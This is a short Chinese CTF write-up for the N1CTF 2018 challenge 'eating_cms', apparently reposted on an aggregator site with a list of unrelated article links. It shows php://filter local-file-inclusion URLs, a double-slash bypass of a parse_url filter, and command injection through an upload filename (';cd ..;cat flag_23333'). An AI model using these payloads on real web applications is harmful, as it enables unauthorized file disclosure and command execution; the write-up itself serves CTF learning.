当前位置: 首页 > news >正文

[N1CTF 2018]eating_cms

[N1CTF 2018]eating_cms

知识点

文件上传

解题

这个题感觉还好,知识点真心不难,就是全混在一起。

思路差不多挺离谱

首先看到,有一个登录界面,然后猜测有注册界面

admin注册不了,随便注册一个账号。

注册之后,进行登录。

登录完成,自动进入user.php?page=guest

将page传入伪协议,尝试读取内容

/user.php?page=php://filter/read=convert.base64-encode/resource=user

然后看到包含了function.php

一路包含下去就行

最后看到

/user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg

发现被拦截

看到 parse_url函数过滤

所以可以使用两个//进行过滤

//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg

然后看到m4aaannngggeee

最后看到

templates/upload.html

进行访问后看到一个上传界面。

看源代码。。。

发现他是假的。。。。。

真正的在filename。

/user.php?page=m4aaannngggeee

发现真正的上传点

文件名可以直接执行命令

发现过滤了 /

所以利用…进行绕过

;ls ..
;cd ..;cat flag_23333

得到flag

http://www.lryc.cn/news/507759.html

相关文章:

  • 重拾设计模式--建造者模式
  • 【机器学习】以机器学习为翼,翱翔网络安全创新苍穹
  • 人工智能在VR展览中扮演什么角色?
  • mysql,创建数据库和用户授权核心语句
  • 日期区间选择器插件的操作流程
  • 【WRF教程第3.2期】预处理系统 WPS详解:以4.5版本为例
  • 深度学习的DataLoader是什么数据类型,为什么不可用来索引
  • 物理信息神经网络(PINN)八课时教案
  • Linux setfacl 命令详解
  • 电商环境下的财务ERP系统架构
  • Linux相关概念和易错知识点(25)(信号原理、操作系统的原理、volatile)
  • 线上问题——频繁 Full GC 问题的排查思路
  • 《探秘 Qt Creator Manual 4.11.1》
  • level2逐笔委托查询接口
  • 在Linux系统安装配置 MySQL 和 hive,hive配置为远程模式
  • 如何写好一份科技报告
  • ARM学习(38)多进程多线程之间的通信方式
  • 《图解机器学习》(杉山将著)第一部分绪论学习笔记
  • 【WPF】RenderTargetBitmap的使用
  • 编辑, 抽成组件
  • 使用C#绘制具有平滑阴影颜色的曼德布洛特集分形
  • 【批量生成WORD和PDF文件】根据表格内容和模板文件批量创建word文件,一次性生成多个word文档和批量创建PDF文件
  • 低延迟!实时处理!中软高科AI边缘服务器,解决边缘计算多样化需求!
  • 内旋风铣削知识再学习
  • Redis 7.x如何安装与配置?保姆级教程
  • SLAAC如何工作?
  • 电脑丢失dll文件一键修复的多种方法分析,电脑故障修复攻略
  • Docker容器命令
  • 【Leetcode 每日一题】3291. 形成目标字符串需要的最少字符串数 I
  • Windows聚焦壁纸代理不更新——解除UWP应用回环限制